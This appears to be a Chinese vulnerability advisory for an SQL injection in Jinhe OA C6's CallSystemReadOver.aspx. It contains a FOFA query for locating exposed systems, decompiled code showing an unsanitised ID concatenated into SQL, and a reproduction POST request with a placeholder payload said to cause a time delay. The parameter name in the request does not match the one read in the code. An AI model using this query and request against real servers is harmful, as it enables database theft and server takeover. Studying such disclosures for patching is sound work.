漏洞简介
金和网络是专业信息化服务商,为城市监管部门提供了互联网+监管解决方案,为企事业单位提供组织协同OA系统开发平台,电子政务一体化平台,智慧电商平台等服务。金和OA C6 CallSystemReadOver.aspx 接口处存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞获取数据库中的信息(例如,管理员后台密码、站点的用户个人信息)之外,甚至在高权限的情况可向服务器中写入木马,进一步获取服务器系统权限。
影响版本
金和OA C6
fofa语法
app="金和网络-金和OA"
漏洞分析
根据 CallSystemReadOver.aspx 的源码,在 bin 目录下查找 JHBase.Web.Menu.dll 将其进行反编译后找到 CallSystemReadOver 的处理逻辑
public class CallSystemReadOver : JHSoft.Base.Page
{
protected void Page_Load(object sender, EventArgs e)
{
Message.ClearNoSee(this.Request["ID"].ToString());
}
跟进 ClearNoSee 方法
public static bool ClearNoSee(string MessageID)
{
DBOperator dbOperator = DBOperatorFactory.GetDBOperator();
string QueryString = $"update callnosee set DelFlag ='1' where callID='{MessageID}'";
dbOperator.ExecSQLReInt(QueryString);
return !dbOperator.IsError;
}
参数 MessageID 被直接拼接进SQL语句中后执行,无任何过滤或校验,导致SQL注入漏洞。
漏洞复现
POST /c6/JHBase.Web.Menu/CallSystemReadOver.aspx/ HTTP/1.1
Host: jhsoft.mrxn.net
Content-Type: application/x-www-form-urlencoded
MessageID='SQLI_POC

成功延时 5 秒


